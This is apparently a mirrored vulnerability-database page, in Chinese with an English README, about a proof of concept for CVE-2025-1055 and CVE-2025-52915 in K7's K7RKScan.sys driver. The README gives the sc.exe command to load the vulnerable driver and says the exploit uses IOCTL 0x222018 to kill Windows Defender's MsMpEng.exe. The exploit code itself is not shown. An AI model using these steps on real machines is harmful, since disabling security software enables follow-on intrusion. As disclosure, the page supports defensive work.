CVE-2025-1055 PoC — K7 Computing Security Anti-Malware suite 安全漏洞

来源

https://github.com/diego-tella/CVE-2025-1055-poc

关联漏洞

标题: K7 Computing Security Anti-Malware suite 安全漏洞 (CVE-2025-1055)
Description:K7 Computing Security Anti-Malware suite是美国K7 Computing的一款防病毒软件。 K7 Computing Security Anti-Malware suite存在安全漏洞，该漏洞源于驱动IOCTL处理程序缺少访问控制，可能导致本地低权限用户终止高权限进程，造成拒绝服务。

Description

PoC for CVE-2025-1055 and CVE-2025-52915 using K7RKScan.sys

介绍

# CVE-2025-1055-poc
PoC for CVE-2025-1055 and CVE-2025-52915 using K7RKScan.sys.  This PoC use the `0x222018` IOCTL to terminate arbitrary processes.

# Usage

Installing driver:

```
sc.exe create K7RKScan_1516.sys binPath=C:\Users\Administrator\Downloads\K7RKScan_1516.sys type=kernel && sc.exe start K7RKScan_1516.sys
```

Running PoC:

```
exploit.exe
```

It will terminate the `MsMpEng.exe` process (windows defender).

# References

https://blacksnufkin.github.io/posts/BYOVD-CVE-2025-52915/

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看

备注

1. 建议优先通过来源进行访问。

2. 本地 POC 快照面向订阅用户开放；当原始来源失效或无法访问时，本地镜像作为订阅权益的一部分提供。

查看订阅方案 →

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

CVE-2025-1055 PoC — K7 Computing Security Anti-Malware suite 安全漏洞

来源

关联漏洞

Description

介绍

文件快照

备注

目标达成感谢每一位支持者 — 我们达成了 100% 目标！